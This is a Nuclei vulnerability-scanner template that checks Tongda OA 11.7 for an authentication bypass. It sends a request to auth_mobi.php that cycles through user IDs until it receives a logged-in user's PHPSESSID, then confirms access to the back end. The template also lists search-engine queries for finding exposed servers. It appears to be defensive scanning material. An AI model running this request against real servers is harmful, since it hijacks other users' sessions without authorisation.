nuclei-templates/http/vulnerabilities/tongda/tongda-auth-bypass.yaml

id: tongda-auth-bypass

info:
  name: Tongda OA 11.7 - Authentication Bypass
  author: HuTa0
  severity: high
  description: |
    Tongda OA is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., LTD v11.7 has the interface query online user function, when the user is online, it will return PHPSESSION so that it can log in to the background system.
  reference:
    - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 200
    vendor: tongda2000
    product: office_anywhere
    shodan-query: title:"通达OA"
    fofa-query: title="通达OA"
    zoomeye-query: app:"通达OA"
  tags: tongda,auth-bypass,fuzz

http:
  - raw:
      - |
        GET /mobile/auth_mobi.php?isAvatar=1&uid={{uid}}&P_VER=0 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /general/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      uid: helpers/wordlists/numbers.txt
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "len(body_1) == 0"
          - '!contains(body_1, "RELOGIN")'
          - "contains(header_1,'PHPSESSID=')"
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2,'user_id:') && contains(body_2,'user_name:') && contains(body_2,'var loginUser')"
        condition: and
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